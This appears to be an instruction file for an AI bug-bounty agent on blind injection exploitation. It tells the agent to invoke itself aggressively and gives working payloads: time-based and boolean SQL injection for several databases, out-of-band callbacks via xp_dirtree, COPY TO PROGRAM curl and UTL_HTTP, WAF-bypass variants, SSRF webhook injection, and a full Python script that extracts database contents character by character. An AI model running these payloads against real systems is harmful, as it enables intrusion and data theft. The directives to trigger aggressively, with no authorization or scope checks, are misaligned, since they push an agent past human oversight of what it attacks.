Blind injection exploitation - OOB callbacks, time-based, DNS exfil across SQLi/SSRF/XXE/CMDi/XSS. ALWAYS invoke when: payloads return no visible error, response is identical regardless of input, need OOB confirmation, parameter seems to be processed server-side but produces no output. Trigger aggressively for: 'blind', 'no output', 'no error', 'OOB', 'callback', 'interactsh', 'same response', 'no reflection', 'server-side processing'.
Detection signals - if ANY of these are true, this skill applies:
Not blind? Use @injection-attacks instead.
Try these three tests in order. STOP at the first that works.
TEST A - OOB callback (strongest proof):
Inject http://{OOB}/test-PARAMNAME into the parameter
Wait 15 seconds, check for callbacks
→ Callback received? You have OOB. Jump to the injection type sections below.
TEST B - Time delay:
Inject SLEEP(5) / pg_sleep(5) / WAITFOR DELAY '0:0:5' variants
Compare response time to baseline
→ Response delayed 4.5s+? You have time-based. Use time payloads below.
TEST C - Boolean difference:
Send ' AND 1=1-- - then ' AND 1=2-- -
Compare response length, status code, content
→ Different responses? You have boolean. Use boolean extraction below.
ALL THREE FAILED?
→ Document as UNTESTABLE in context.md. Move on. Do not spend more time.
Priority: OOB > time-based > boolean. Always try strongest evidence first.
# Option A: BountyHound VPS (preferred during hunts)
python {AGENT}/engine/vps/vultr.py interactsh \
--state {FINDINGS}/tmp/vps-state.json
# Returns: OOB_DOMAIN=abc123xyz.oast.fun
# Option B: Local interactsh
interactsh-client -json -o {FINDINGS}/tmp/oob-callbacks.json &
OOB_PID=$!
# Option C: ProxyEngine OOB (if proxy is running)
# mcp__proxy-engine__proxy_oob_generate()
Save the domain as {OOB}. Use unique subdomains per parameter: param-avatar.{OOB}, param-webhook.{OOB}.
Poll for callbacks:
# VPS
python {AGENT}/engine/vps/vultr.py poll --state {FINDINGS}/tmp/vps-state.json
# Local
cat {FINDINGS}/tmp/oob-callbacks.json
Callback received? Note source IP, path, timing. Proceed to injection-specific payloads below. No callback after 30s? Check troubleshooting (Section 8).
| DBMS | Delay payload |
|---|---|
| MySQL | ' AND SLEEP(5)-- - |
| MSSQL | '; WAITFOR DELAY '0:0:5'-- - |
| PostgreSQL | '; SELECT pg_sleep(5)-- - |
| Oracle | ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',5)-- - |
Timing proof (mandatory - 3x baseline, 3x injected, 3x control):
for i in 1 2 3; do time curl -s "https://target.com/search?q=normal" > /dev/null; done
for i in 1 2 3; do time curl -s "https://target.com/search?q=1'+AND+SLEEP(5)--+-" > /dev/null; done
for i in 1 2 3; do time curl -s "https://target.com/search?q=1'+AND+SLEEP(0)--+-" > /dev/null; done
Delay avg >= 4.5s AND baseline < 1.0s AND no overlap? PROVEN. Otherwise try OOB.
' AND 1=1-- - vs ' AND 1=2-- - - different response? Continue. Same? Skip boolean.' AND LENGTH(database())>N-- -' AND ASCII(SUBSTRING(database(),1,1))>N-- -Extraction script (adapt TARGET and TRUE_LEN per target):
import requests, time
TARGET = "https://target.com/search"
TRUE_LEN = 4832
TOLERANCE = 50
def is_true(payload: str) -> bool:
r = requests.get(TARGET, params={"q": payload})
return abs(len(r.text) - TRUE_LEN) < TOLERANCE
def extract_string(query: str, max_len: int = 64) -> str:
length = 0
for i in range(1, max_len):
if not is_true(f"' AND LENGTH(({query}))>{i}-- -"):
length = i
break
result = ""
for pos in range(1, length + 1):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
if is_true(f"' AND ASCII(SUBSTRING(({query}),{pos},1))>{mid}-- -"):
low = mid + 1
else:
high = mid
result += chr(low)
print(f"[+] {pos}: {chr(low)} -> {result}")
time.sleep(0.3)
return result
db_name = extract_string("SELECT database()")
| DBMS | OOB Payload |
|---|---|
| MySQL | '; SELECT LOAD_FILE(CONCAT('\\\\',({OOB}),'\\x')); -- - |
| MSSQL | '; EXEC master..xp_dirtree '//{OOB}/x'; -- - |
| PostgreSQL | '; COPY (SELECT '') TO PROGRAM 'curl http://{OOB}/pg'; -- - |
| Oracle | ' || UTL_HTTP.REQUEST('http://{OOB}/oracle') || ' |
Callback received with data? PROVEN - escalate to full extraction. No callback? Try next DBMS payload.
'/*!50000AND*/SLEEP(5)-- -
' AnD sLeEp(5)-- -
'%09AND%09SLEEP(5)-- -
%2527%2520AND%2520SLEEP(5)--%2520-
Bypassed WAF? Document which technique worked in defenses.md.
| Sink | Location |
|---|---|
| Webhook URL | Integration settings, notification config |
| URL preview | Chat, link unfurling, social sharing |
| PDF generation | Export features, report generation |
| Image fetch | Avatar via URL, image proxy |
| Import/export | CSV from URL, RSS reader |
curl -s -X POST https://target.com/api/settings \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"webhook_url": "http://param-webhook.{OOB}/ssrf"}'